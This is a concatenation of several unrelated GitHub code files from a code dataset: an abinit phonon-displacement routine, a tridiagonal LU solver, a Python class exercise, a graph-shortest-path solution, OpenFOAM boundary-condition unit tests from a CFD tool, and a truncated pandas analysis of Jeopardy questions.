np.arange(3*natom):\n\n # Skip mode with zero frequency (leave displacements null)\n if omega[imode].real < omega_tolerance:\n continue\n\n for iatom1 in np.arange(natom):\n for iatom2 in np.arange(natom):\n for idir1 in np.arange(0,3):\n for idir2 in np.arange(0,3):\n\n displ_FAN[idir1,idir2] = (\n eigvect[3*iatom2+idir2,imode].conj() *\n eigvect[3*iatom1+idir1,imode] / (2.0 * omega[imode].real)\n )\n\n displ_DDW[idir1,idir2] = (\n eigvect[3*iatom2+idir2,imode].conj() *\n eigvect[3*iatom2+idir1,imode] +\n eigvect[3*iatom1+idir2,imode].conj() *\n eigvect[3*iatom1+idir1,imode]) / (4.0 * omega[imode].real)\n\n # Now switch to reduced coordinates in 2 steps (more efficient)\n tmp_displ_FAN = zeros((3,3),dtype=complex)\n tmp_displ_DDW = zeros((3,3),dtype=complex)\n\n for idir1 in np.arange(3):\n for idir2 in np.arange(3):\n\n tmp_displ_FAN[:,idir1] = tmp_displ_FAN[:,idir1] + displ_FAN[:,idir2] * self.gprimd[idir2,idir1]\n tmp_displ_DDW[:,idir1] = tmp_displ_DDW[:,idir1] + displ_DDW[:,idir2] * self.gprimd[idir2,idir1]\n\n displ_red_FAN = zeros((3,3),dtype=complex)\n displ_red_DDW = zeros((3,3),dtype=complex)\n for idir1 in np.arange(3):\n for idir2 in np.arange(3):\n displ_red_FAN[idir1,:] = displ_red_FAN[idir1,:] + tmp_displ_FAN[idir2,:] * self.gprimd[idir2,idir1]\n displ_red_DDW[idir1,:] = displ_red_DDW[idir1,:] + tmp_displ_DDW[idir2,:] * self.gprimd[idir2,idir1]\n \n displ_red_FAN2[imode,iatom1,iatom2,:,:] = displ_red_FAN[:,:]\n displ_red_DDW2[imode,iatom1,iatom2,:,:] = displ_red_DDW[:,:]\n\n self.displ_red_FAN2 = displ_red_FAN2\n self.displ_red_DDW2 = displ_red_DDW2\n \n return displ_red_FAN2, displ_red_DDW2\n\n def get_bose(self, temperatures):\n \"\"\"\n Get the Bose-Einstein occupations on a range of temperatures.\n Returns: bose(3*natom, Ntemperatures)\n \"\"\"\n if self.omega is None:\n self.compute_dynmat()\n\n bose = zeros((3*self.natom, len(temperatures)))\n\n #bose[:,:] = get_bose(self.omega, temperatures)\n for imode, omega in enumerate(self.omega):\n bose[imode,:] = get_bose(omega, temperatures)\n\n return bose\n\n\n # This old function reads the DDB from the ascii file.\n # It is left here for legacy.\n #\n #def DDB_file_open(self, filefullpath):\n # \"\"\"Open the DDB file and read it.\"\"\"\n # if not (os.path.isfile(filefullpath)):\n # raise Exception('The file \"%s\" does not exists!' %filefullpath)\n # with open(filefullpath,'r') as DDB:\n # Flag = 0\n # Flag2 = False\n # Flag3 = False\n # ikpt = 0\n # for line in DDB:\n # if line.find('natom') > -1:\n # self.natom = np.int(line.split()[1])\n # if line.find('nkpt') > -1:\n # self.nkpt = np.int(line.split()[1])\n # self.kpt = zeros((self.nkpt,3))\n # if line.find('ntypat') > -1:\n # self.ntypat = np.int(line.split()[1])\n # if line.find('nband') > -1:\n # self.nband = np.int(line.split()[1])\n # if line.find('acell') > -1:\n # line = line.replace('D','E')\n # tmp = line.split()\n # self.acell = [np.float(tmp[1]),np.float(tmp[2]),np.float(tmp[3])]\n # if Flag2:\n # line = line.replace('D','E')\n # for ii in np.arange(3,self.ntypat):\n # self.amu[ii] = np.float(line.split()[ii-3])\n # Flag2 = False\n # if line.find('amu') > -1:\n # line = line.replace('D','E')\n # self.amu = zeros((self.ntypat))\n # if self.ntypat > 3:\n # for ii in np.arange(3):\n # self.amu[ii] = np.float(line.split()[ii+1])\n # Flag2 = True \n # else:\n # for ii in np.arange(self.ntypat):\n # self.amu[ii] = np.float(line.split()[ii+1])\n # if line.find(' kpt ') > -1:\n # line = line.replace('D','E')\n # tmp = line.split()\n # self.kpt[0,0:3] = [float(tmp[1]),float(tmp[2]),float(tmp[3])]\n # ikpt = 1\n # continue\n # if ikpt < self.nkpt and ikpt > 0:\n # line = line.replace('D','E')\n # tmp = line.split()\n # self.kpt[ikpt,0:3] = [float(tmp[0]),float(tmp[1]),float(tmp[2])] \n # ikpt += 1\n # continue\n # if Flag == 2:\n # line = line.replace('D','E')\n # tmp = line.split()\n # self.rprim[2,0:3] = [float(tmp[0]),float(tmp[1]),float(tmp[2])]\n # Flag = 0\n # if Flag == 1:\n # line = line.replace('D','E')\n # tmp = line.split()\n # self.rprim[1,0:3] = [float(tmp[0]),float(tmp[1]),float(tmp[2])]\n # Flag = 2\n # if line.find('rprim') > -1:\n # line = line.replace('D','E')\n # tmp = line.split()\n # self.rprim[0,0:3] = [float(tmp[1]),float(tmp[2]),float(tmp[3])]\n # Flag = 1\n # if Flag3:\n # line = line.replace('D','E')\n # for ii in np.arange(12,self.natom): \n # self.typat[ii] = np.float(line.split()[ii-12]) \n # Flag3 = False \n # if line.find(' typat') > -1:\n # self.typat = zeros((self.natom))\n # if self.natom > 12:\n # for ii in np.arange(12):\n # self.typat[ii] = np.float(line.split()[ii+1])\n # Flag3 = True\n # else:\n # for ii in np.arange(self.natom):\n # self.typat[ii] = np.float(line.split()[ii+1])\n # # Read the actual d2E/dRdR matrix\n # if Flag == 3:\n # line = line.replace('D','E')\n # tmp = line.split()\n # if not tmp:\n # break\n # self.E2D[int(tmp[0])-1,int(tmp[1])-1,int(tmp[2])-1,int(tmp[3])-1] = \\\n # complex(float(tmp[4]),float(tmp[5]))\n # # Read the current Q-point\n # if line.find('qpt') > -1:\n # line = line.replace('D','E')\n # tmp = line.split()\n # self.iqpt = [np.float(tmp[1]),np.float(tmp[2]),np.float(tmp[3])]\n # Flag = 3\n # self.E2D = zeros((3,self.natom,3,self.natom),dtype=complex)\n\n\n","repo_name":"abinit/abinit","sub_path":"scripts/post_processing/ElectronPhononCoupling/ElectronPhononCoupling/core/ddbfile.py","file_name":"ddbfile.py","file_ext":"py","file_size_in_byte":16343,"program_lang":"python","lang":"en","doc_type":"code","stars":193,"dataset":"github-code","pt":"72"} +{"seq_id":"20383528110","text":"\nN = 100\na, b, c, d = list(), list(), list(), list()\nfor i in range(N):\n c.append(1.2)\n if i != 99:\n b.append(0.1 / (i + 1))\n d.append(0.2)\n if i != 98:\n a.append(0.4 / pow((i + 1), 2))\nA = [a, b, c, d]\n\n\n# LU\nfor i in range(N):\n if i != 0:\n if i != 99:\n A[1][i] -= (A[3][i-1] * A[0][i-1])\n A[2][i] -= (A[3][i-1] * A[1][i-1])\n if i != 99:\n A[3][i] /= A[2][i]\n\n\n# Vector x\nx = [i+1 for i in range(N)]\n\n\ndef calc_det():\n my_det = 1\n for i in range(N):\n my_det *= A[2][i]\n return my_det\n\n\ndef cal_y():\n\t# forward substitution\n v = list()\n v.append(x[0])\n for i in range(1, N):\n element = x[i] - (A[3][i - 1] * v[i - 1])\n v.append(element)\n\n\t# back substitution\n y = list()\n y.append(v[99] / A[2][99])\n y.append((v[98] - A[1][98] * y[0]) / A[2][98])\n for i in range(97, -1, -1):\n element = (v[i] - A[1][i] * y[98 - i] - A[0][i] * y[97 - i]) / A[2][i]\n y.append(element)\n\n y.reverse()\n return y\n","repo_name":"dominj7/Metody_numeryczne","sub_path":"NUM3/lu.py","file_name":"lu.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17687389342","text":"class Persona:\n def __init__(self, first_name, last_name):\n self._first_name = first_name\n self._last_name = last_name\n \n self._address_street = \"\" # address_street sera une chaine de caractères vide\n self._address_number = 0 #address_number sera un integer égal à 0\n self._city = \"\" #city sera une chaine de caractères vide\n self._postcode = ('') #postcode sera une chaine de caractères vide ('')\n \n def __str__(self):\n return f\"Hi ! I'm {self._first_name} {self._last_name}\"\n \n def set_address(self,address_street, address_number, city, postcode):\n self._address_street = address_street\n self._address_number = address_number\n self._city = city\n self._postcode = postcode\n \n \n def show_address(self):\n return f\"My full address is : {self._address_number} {self._address_street} {self._city} {self._postcode}\"\n \n def test(self):\n self._postcode = \"sa devrait pas marcher si c'est un int\"\n \n#p1= Persona(first_name=\"Francois\", last_name=\"Saura\") \n#print(p1.show_address())\n\ndata = [{\n\"first_name\":\"Ilyès\",\n\"last_name\":\"Fleury\",\n\"address_street\":\"Rue Paul Bert\",\n\"address_number\":73,\n\"city\":\"Dunkerque\",\n\"postcode\":12681\n},{\n\"first_name\":\"Lia\",\n\"last_name\":\"Dumont\",\n\"address_street\":\"Rue Louis-Blanqui\",\n\"address_number\":30,\n\"city\":\"Lille\",\n\"postcode\":63996\n},{\n\"first_name\":\"Eléonore\",\n\"last_name\":\"Caron\",\n\"address_street\":\"Avenue du Château\",\n\"address_number\":87,\n\"city\":\"Rennes\",\n\"postcode\":78482\n},{\n\"first_name\":\"Eva\",\n\"last_name\":\"Girard\",\n\"address_street\":\"Rue du Bon-Pasteur\",\n\"address_number\":9,\n\"city\":\"Rueil-Malmaison\",\n\"postcode\":23879\n}]\n\nfor personne in data:\n p1 = Persona(personne['first_name'], personne['last_name'])\n p1.set_address(personne['address_street'], personne['address_number'], personne['postcode'] ,personne['city'])\n print(p1)\n print(p1.show_address())\n print(\"--\")\n \n","repo_name":"LoicLabaisse/PythonTest","sub_path":"persona.py","file_name":"persona.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72128915754","text":"class Solution:\n def secondMinimum(self, n: int, edges, time: int, change: int) -> int:\n adj=[[] for i in range(n)]\n for i in edges:\n adj[i[0]-1].append(i[1]-1)\n adj[i[1]-1].append(i[0]-1)\n d=[[] for i in range(n)];d[0]=[0]\n h=[(0,0)]\n while h:\n r=heappop(h)\n if r[1]==n-1 and len(d[r[1]])==2:\n return max(d[r[1]])\n for i in adj[r[1]]:\n if (r[0]//change)%2==0:\n c=r[0]+time\n else:\n c=ceil(r[0]/(2*change))*(2*change) + time\n if len(d[i])==0 or (len(d[i])==1 and c!=d[i][0]) or (len(d[i])==2 and c None:\n coredb.destroy()\n\n # Velocity Inlet\n def testVelocityInletComponentConstant(self):\n self._db.setValue(self._xpath + '/physicalType', 'velocityInlet')\n self._db.setValue(self._xpath + '/velocityInlet/velocity/specification', 'component')\n self._db.setValue(self._xpath + '/velocityInlet/velocity/component/profile', 'constant')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual(dimensions, content['dimensions'])\n self.assertEqual(self._initialValue, content['internalField'][1])\n self.assertEqual('fixedValue', content['boundaryField'][boundary]['type'])\n self.assertEqual(self._db.getVector(self._xpath + '/velocityInlet/velocity/component/constant'),\n content['boundaryField'][boundary]['value'][1])\n\n # Velocity Inlet\n def testVelocityInletComponentSpatial(self):\n testDir = Path('testUSpatialDistribution')\n csvFile = Path('testUSpatialDistribution/testUSpatial.csv')\n\n os.makedirs(testDir, exist_ok=True) # 사용자가 Working Directory 선택할 때 이미 존재하는 디렉토리\n project = _Project()\n Project._instance = project # MainWindow 생성 전에 Project 객체 생성\n project._fileDB = FileDB(testDir) # Project.open에서 fileDB 생성\n FileSystem._casePath = FileSystem.makeDir(testDir, FileSystem.CASE_DIRECTORY_NAME)\n FileSystem._constantPath = FileSystem.makeDir(FileSystem.caseRoot(), FileSystem.CONSTANT_DIRECTORY_NAME)\n # 사용자가 선택한 mesh directory 복사해 올 때 생성됨\n FileSystem._boundaryConditionsPath = FileSystem.makeDir(\n FileSystem._casePath, FileSystem.BOUNDARY_CONDITIONS_DIRECTORY_NAME)\n FileSystem._systemPath = FileSystem.makeDir(FileSystem._casePath, FileSystem.SYSTEM_DIRECTORY_NAME)\n FileSystem.initRegionDirs(rname) # CaseGenerator에서 호출\n with open(csvFile, 'w') as f:\n f.write('0,0,0,1,1,1\\n0,0,1,2,2,2\\n')\n\n pointsFilePath = FileSystem.constantPath(rname) / 'boundaryData' / boundary / 'points_U'\n fieldTableFilePath = FileSystem.constantPath(rname) / 'boundaryData' / boundary / '0/U'\n\n self._db.setValue(self._xpath + '/physicalType', 'velocityInlet')\n self._db.setValue(self._xpath + '/velocityInlet/velocity/specification', 'component')\n self._db.setValue(self._xpath + '/velocityInlet/velocity/component/profile', 'spatialDistribution')\n self._db.setValue(self._xpath + '/velocityInlet/velocity/component/spatialDistribution',\n project.fileDB().putBcFile(self._bcid, BcFileRole.BC_VELOCITY_COMPONENT, csvFile))\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('timeVaryingMappedFixedValue', content['boundaryField'][boundary]['type'])\n self.assertEqual('points_U', content['boundaryField'][boundary]['points'])\n self.assertTrue(pointsFilePath.is_file())\n self.assertTrue(fieldTableFilePath.is_file())\n\n shutil.rmtree(testDir) # 테스트 디렉토리 삭제\n\n # Velocity Inlet\n def testVelocityInletComponentTemporal(self):\n self._db.setValue(self._xpath + '/physicalType', 'velocityInlet')\n self._db.setValue(self._xpath + '/velocityInlet/velocity/specification', 'component')\n self._db.setValue(self._xpath + '/velocityInlet/velocity/component/profile', 'temporalDistribution')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n t = self._db.getValue(\n self._xpath + '/velocityInlet/velocity/component/temporalDistribution/piecewiseLinear/t').split()\n x = self._db.getValue(\n self._xpath + '/velocityInlet/velocity/component/temporalDistribution/piecewiseLinear/x').split()\n y = self._db.getValue(\n self._xpath + '/velocityInlet/velocity/component/temporalDistribution/piecewiseLinear/y').split()\n z = self._db.getValue(\n self._xpath + '/velocityInlet/velocity/component/temporalDistribution/piecewiseLinear/z').split()\n self.assertEqual('uniformFixedValue', content['boundaryField'][boundary]['type'])\n self.assertEqual([[t[i], [x[i], y[i], z[i]]] for i in range(len(t))],\n content['boundaryField'][boundary]['uniformValue'][1])\n\n # Velocity Inlet\n def testVelocityInletMagnitudeConstant(self):\n self._db.setValue(self._xpath + '/physicalType', 'velocityInlet')\n self._db.setValue(self._xpath + '/velocityInlet/velocity/specification', 'magnitudeNormal')\n self._db.setValue(self._xpath + '/velocityInlet/velocity/magnitudeNormal/profile', 'constant')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('surfaceNormalFixedValue', content['boundaryField'][boundary]['type'])\n self.assertEqual(-float(self._db.getValue(self._xpath + '/velocityInlet/velocity/magnitudeNormal/constant')),\n content['boundaryField'][boundary]['refValue'][1])\n\n # Velocity Inlet\n def testVelocityInletMagnitudeSpatial(self):\n self._db.setValue(self._xpath + '/physicalType', 'velocityInlet')\n self._db.setValue(self._xpath + '/velocityInlet/velocity/specification', 'magnitudeNormal')\n self._db.setValue(self._xpath + '/velocityInlet/velocity/magnitudeNormal/profile', 'spatialDistribution')\n # ToDo: Add check according to boundary field spec\n # content = U(RegionDB.getRegionProperties(region), '0', None).build().asDict()\n # self.assertEqual('timeVaryingMappedFixedValue', content['boundaryField'][boundary]['type'])\n\n # Velocity Inlet\n def testVelocityInletMagnitudeTemporal(self):\n self._db.setValue(self._xpath + '/physicalType', 'velocityInlet')\n self._db.setValue(self._xpath + '/velocityInlet/velocity/specification', 'magnitudeNormal')\n self._db.setValue(self._xpath + '/velocityInlet/velocity/magnitudeNormal/profile', 'temporalDistribution')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n t = self._db.getValue(\n self._xpath + '/velocityInlet/velocity/magnitudeNormal/temporalDistribution/piecewiseLinear/t').split()\n v = self._db.getValue(\n self._xpath + '/velocityInlet/velocity/magnitudeNormal/temporalDistribution/piecewiseLinear/v').split()\n self.assertEqual('uniformNormalFixedValue', content['boundaryField'][boundary]['type'])\n self.assertEqual([[t[i], -float(v[i])] for i in range(len(t))],\n content['boundaryField'][boundary]['uniformValue'][1])\n\n # Flow Rate\n def testFlowRateInletVolume(self):\n self._db.setValue(self._xpath + '/physicalType', 'flowRateInlet')\n self._db.setValue(self._xpath + '/flowRateInlet/flowRate/specification', 'volumeFlowRate')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('flowRateInletVelocity', content['boundaryField'][boundary]['type'])\n self.assertEqual(self._db.getValue(self._xpath + '/flowRateInlet/flowRate/volumeFlowRate'),\n content['boundaryField'][boundary]['volumetricFlowRate'])\n\n # Flow Rate\n def testFlowRateInletMass(self):\n self._db.setValue(self._xpath + '/physicalType', 'flowRateInlet')\n self._db.setValue(self._xpath + '/flowRateInlet/flowRate/specification', 'massFlowRate')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('flowRateInletVelocity', content['boundaryField'][boundary]['type'])\n self.assertEqual(self._db.getValue(self._xpath + '/flowRateInlet/flowRate/massFlowRate'),\n content['boundaryField'][boundary]['massFlowRate'])\n self.assertEqual(RegionDB.getRegionProperties(rname).density, content['boundaryField'][boundary]['rhoInlet'])\n\n def testPressureInlet(self):\n self._db.setValue(self._xpath + '/physicalType', 'pressureInlet')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('pressureInletOutletVelocity', content['boundaryField'][boundary]['type'])\n self.assertEqual(self._initialValue, content['boundaryField'][boundary]['value'][1])\n\n def testPressureOutlet(self):\n self._db.setValue(self._xpath + '/physicalType', 'pressureOutlet')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('pressureInletOutletVelocity', content['boundaryField'][boundary]['type'])\n self.assertEqual(self._initialValue, content['boundaryField'][boundary]['value'][1])\n\n def testAblInlet(self):\n self._db.setValue(self._xpath + '/physicalType', 'ablInlet')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('atmBoundaryLayerInletVelocity', content['boundaryField'][boundary]['type'])\n self.assertEqual(self._db.getVector(BoundaryDB.ABL_INLET_CONDITIONS_XPATH + '/flowDirection'),\n content['boundaryField'][boundary]['flowDir'])\n self.assertEqual(self._db.getVector(BoundaryDB.ABL_INLET_CONDITIONS_XPATH + '/groundNormalDirection'),\n content['boundaryField'][boundary]['zDir'])\n self.assertEqual(self._db.getValue(BoundaryDB.ABL_INLET_CONDITIONS_XPATH + '/referenceFlowSpeed'),\n content['boundaryField'][boundary]['Uref'])\n self.assertEqual(self._db.getValue(BoundaryDB.ABL_INLET_CONDITIONS_XPATH + '/referenceHeight'),\n content['boundaryField'][boundary]['Zref'])\n self.assertEqual(self._db.getValue(BoundaryDB.ABL_INLET_CONDITIONS_XPATH + '/surfaceRoughnessLength'),\n content['boundaryField'][boundary]['z0'])\n self.assertEqual(self._db.getValue(BoundaryDB.ABL_INLET_CONDITIONS_XPATH + '/minimumZCoordinate'),\n content['boundaryField'][boundary]['d'])\n\n def testOpenChannelInlet(self):\n self._db.setValue(RegionDB.getXPath(rname) + '/secondaryMaterials', str(self._db.addMaterial('water-liquid')))\n self._db.setValue(self._xpath + '/physicalType', 'openChannelInlet')\n\n self._db.setValue('.//models/multiphaseModels/model', 'volumeOfFluid')\n\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('variableHeightFlowRateInletVelocity', content['boundaryField'][boundary]['type'])\n self.assertEqual('alpha.water-liquid', content['boundaryField'][boundary]['alpha'])\n self.assertEqual(self._db.getValue(self._xpath + '/openChannelInlet/volumeFlowRate'),\n content['boundaryField'][boundary]['flowRate'])\n self.assertEqual(self._initialValue, content['boundaryField'][boundary]['value'][1])\n\n def testOpenChannelOutlet(self):\n self._db.setValue(RegionDB.getXPath(rname) + '/secondaryMaterials', str(self._db.addMaterial('water-liquid')))\n self._db.setValue(self._xpath + '/physicalType', 'openChannelOutlet')\n\n self._db.setValue('.//models/multiphaseModels/model', 'volumeOfFluid')\n\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('outletPhaseMeanVelocity', content['boundaryField'][boundary]['type'])\n self.assertEqual('alpha.water-liquid', content['boundaryField'][boundary]['alpha'])\n self.assertEqual(self._db.getValue(self._xpath + '/openChannelOutlet/meanVelocity'),\n content['boundaryField'][boundary]['Umean'])\n\n def testOutflow(self):\n self._db.setValue(self._xpath + '/physicalType', 'outflow')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('zeroGradient', content['boundaryField'][boundary]['type'])\n\n def testFreeStream(self):\n self._db.setValue(self._xpath + '/physicalType', 'freeStream')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('freestreamVelocity', content['boundaryField'][boundary]['type'])\n self.assertEqual(('uniform', self._db.getVector(self._xpath + '/freeStream/streamVelocity')),\n content['boundaryField'][boundary]['freestreamValue'])\n\n def testFarFieldRiemann(self):\n self._db.setValue(self._xpath + '/physicalType', 'farFieldRiemann')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('farfieldRiemann', content['boundaryField'][boundary]['type'])\n self.assertEqual(self._db.getVector(self._xpath + '/farFieldRiemann/flowDirection'),\n content['boundaryField'][boundary]['flowDir'])\n self.assertEqual(self._db.getValue(self._xpath + '/farFieldRiemann/machNumber'),\n content['boundaryField'][boundary]['MInf'])\n self.assertEqual(self._db.getValue(self._xpath + '/farFieldRiemann/staticPressure'),\n content['boundaryField'][boundary]['pInf'])\n self.assertEqual(self._db.getValue(self._xpath + '/farFieldRiemann/staticTemperature'),\n content['boundaryField'][boundary]['TInf'])\n\n def testSubsonicInflow(self):\n self._db.setValue(self._xpath + '/physicalType', 'subsonicInflow')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('subsonicInflow', content['boundaryField'][boundary]['type'])\n self.assertEqual(self._db.getVector(self._xpath + '/subsonicInflow/flowDirection'),\n content['boundaryField'][boundary]['flowDir'])\n self.assertEqual(self._db.getValue(self._xpath + '/subsonicInflow/totalPressure'),\n content['boundaryField'][boundary]['p0'])\n self.assertEqual(self._db.getValue(self._xpath + '/subsonicInflow/totalTemperature'),\n content['boundaryField'][boundary]['T0'])\n\n def testSubsonicOutflow(self):\n self._db.setValue(self._xpath + '/physicalType', 'subsonicOutflow')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('subsonicOutflow', content['boundaryField'][boundary]['type'])\n self.assertEqual(self._db.getValue(self._xpath + '/subsonicOutflow/staticPressure'),\n content['boundaryField'][boundary]['pExit'])\n\n def testSupersonicInflow(self):\n self._db.setValue(self._xpath + '/physicalType', 'supersonicInflow')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('fixedValue', content['boundaryField'][boundary]['type'])\n self.assertEqual(self._db.getVector(self._xpath + '/supersonicInflow/velocity'),\n content['boundaryField'][boundary]['value'][1])\n\n def testSupersonicOutflow(self):\n self._db.setValue(self._xpath + '/physicalType', 'supersonicOutflow')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('zeroGradient', content['boundaryField'][boundary]['type'])\n\n # Wall\n def testNoSlip(self):\n self._db.setValue(self._xpath + '/physicalType', 'wall')\n self._db.setValue(self._xpath + '/wall/velocity/type', 'noSlip')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('fixedValue', content['boundaryField'][boundary]['type'])\n self.assertEqual('(0 0 0)', content['boundaryField'][boundary]['value'][1])\n\n # Wall\n def testSlip(self):\n self._db.setValue(self._xpath + '/physicalType', 'wall')\n self._db.setValue(self._xpath + '/wall/velocity/type', 'slip')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('slip', content['boundaryField'][boundary]['type'])\n\n # Wall\n def testMovingWall(self):\n self._db.setValue(self._xpath + '/physicalType', 'wall')\n self._db.setValue(self._xpath + '/wall/velocity/type', 'movingWall')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('movingWallVelocity', content['boundaryField'][boundary]['type'])\n self.assertEqual('uniform (0 0 0)', content['boundaryField'][boundary]['value'])\n\n # Wall\n def testAtmosphericWall(self):\n self._db.setValue(self._xpath + '/physicalType', 'wall')\n self._db.setValue(self._xpath + '/wall/velocity/type', 'atmosphericWall')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('fixedValue', content['boundaryField'][boundary]['type'])\n self.assertEqual('(0 0 0)', content['boundaryField'][boundary]['value'][1])\n\n # Wall\n def testTranslationalMovingWall(self):\n self._db.setValue(self._xpath + '/physicalType', 'wall')\n self._db.setValue(self._xpath + '/wall/velocity/type', 'translationalMovingWall')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('fixedValue', content['boundaryField'][boundary]['type'])\n self.assertEqual(self._db.getVector(self._xpath + '/wall/velocity/translationalMovingWall/velocity'),\n content['boundaryField'][boundary]['value'][1])\n\n # Wall\n def testWallRotationalMovingWall(self):\n self._db.setValue(self._xpath + '/physicalType', 'wall')\n self._db.setValue(self._xpath + '/wall/velocity/type', 'rotationalMovingWall')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('rotatingWallVelocity', content['boundaryField'][boundary]['type'])\n self.assertEqual(self._db.getVector(self._xpath + '/wall/velocity/rotationalMovingWall/rotationAxisOrigin'),\n content['boundaryField'][boundary]['origin'])\n self.assertEqual(self._db.getVector(self._xpath + '/wall/velocity/rotationalMovingWall/rotationAxisDirection'),\n content['boundaryField'][boundary]['axis'])\n self.assertEqual(float(self._db.getValue(self._xpath + '/wall/velocity/rotationalMovingWall/speed')) * 2 * 3.141592 / 60,\n content['boundaryField'][boundary]['omega'])\n\n def testThermoCoupledWall(self):\n self._db.setValue(self._xpath + '/physicalType', 'thermoCoupledWall')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('fixedValue', content['boundaryField'][boundary]['type'])\n self.assertEqual('(0 0 0)', content['boundaryField'][boundary]['value'][1])\n\n def testSymmetry(self):\n self._db.setValue(self._xpath + '/physicalType', 'symmetry')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('symmetry', content['boundaryField'][boundary]['type'])\n\n # Interface\n def testInternalInterface(self):\n self._db.setValue(self._xpath + '/physicalType', 'interface')\n self._db.setValue(self._xpath + '/interface/mode', 'internalInterface')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('cyclicAMI', content['boundaryField'][boundary]['type'])\n\n # Interface\n def testRotationalPeriodic(self):\n self._db.setValue(self._xpath + '/physicalType', 'interface')\n self._db.setValue(self._xpath + '/interface/mode', 'rotationalPeriodic')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('cyclicAMI', content['boundaryField'][boundary]['type'])\n\n # Interface\n def testTranslationalPeriodic(self):\n self._db.setValue(self._xpath + '/physicalType', 'interface')\n self._db.setValue(self._xpath + '/interface/mode', 'translationalPeriodic')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('cyclicAMI', content['boundaryField'][boundary]['type'])\n\n # Interface\n def testRegionInterface(self):\n self._db.setValue(self._xpath + '/physicalType', 'interface')\n self._db.setValue(self._xpath + '/interface/mode', 'regionInterface')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('fixedValue', content['boundaryField'][boundary]['type'])\n self.assertEqual('(0 0 0)', content['boundaryField'][boundary]['value'][1])\n\n def testPorousJump(self):\n self._db.setValue(self._xpath + '/physicalType', 'porousJump')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('cyclic', content['boundaryField'][boundary]['type'])\n\n def testFan(self):\n self._db.setValue(self._xpath + '/physicalType', 'fan')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('cyclic', content['boundaryField'][boundary]['type'])\n\n def testEmpty(self):\n self._db.setValue(self._xpath + '/physicalType', 'empty')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('empty', content['boundaryField'][boundary]['type'])\n\n def testCyclic(self):\n self._db.setValue(self._xpath + '/physicalType', 'cyclic')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('cyclic', content['boundaryField'][boundary]['type'])\n\n def testWedge(self):\n self._db.setValue(self._xpath + '/physicalType', 'wedge')\n content = U(RegionDB.getRegionProperties(rname), '0', None).build().asDict()\n self.assertEqual('wedge', content['boundaryField'][boundary]['type'])\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"nextfoam/baram","sub_path":"baramFlow/test/test_openfoam/test_u.py","file_name":"test_u.py","file_ext":"py","file_size_in_byte":23030,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"72"} +{"seq_id":"71678413032","text":"import pandas as pd\npd.set_option('display.max_colwidth', -1)\ndf = pd.read_csv('jeopardy.csv')\n#print(df.info())\n\n# 2\ndf.columns = ['show_number', 'air_date', 'round', 'category', 'value', 'question', 'answer']\n# print(df.info())\n\n# 3, 4\nwords = [' king ', ' England ']\ndef filter(data, words):\n filter_question = lambda question: all(word.lower() in question.lower() for word in words)\n filtered = data.loc[data.question.apply(filter_question)]\n return filtered\n\n# 5\ndf['float_value'] = df['value'].apply(lambda x: float(x[1:].replace(',', '')) if x != 'None' else 0)\n\n\nfiltered = filter(df, words)\nprint(filtered['float_value'].mean())\n\n# 6\ndef unique_count(filtered):\n return filtered['answer'].value_counts()\n\nanswer_count = unique_count(filtered)\n\n# 7\n# value of prices in each air_date\nair_dates = df.groupby('air_date').float_value.sum().reset_index().sort_values(by='float_value', ascending=False)\nprint(air_dates)\n\n# computer in questions throughout time\ncomputer_90s = filter(df, [' computer '])[(df['air_date'] > '1990-01-01') & (df['air_date'] < '1999-12-31')]\n# Asked 57 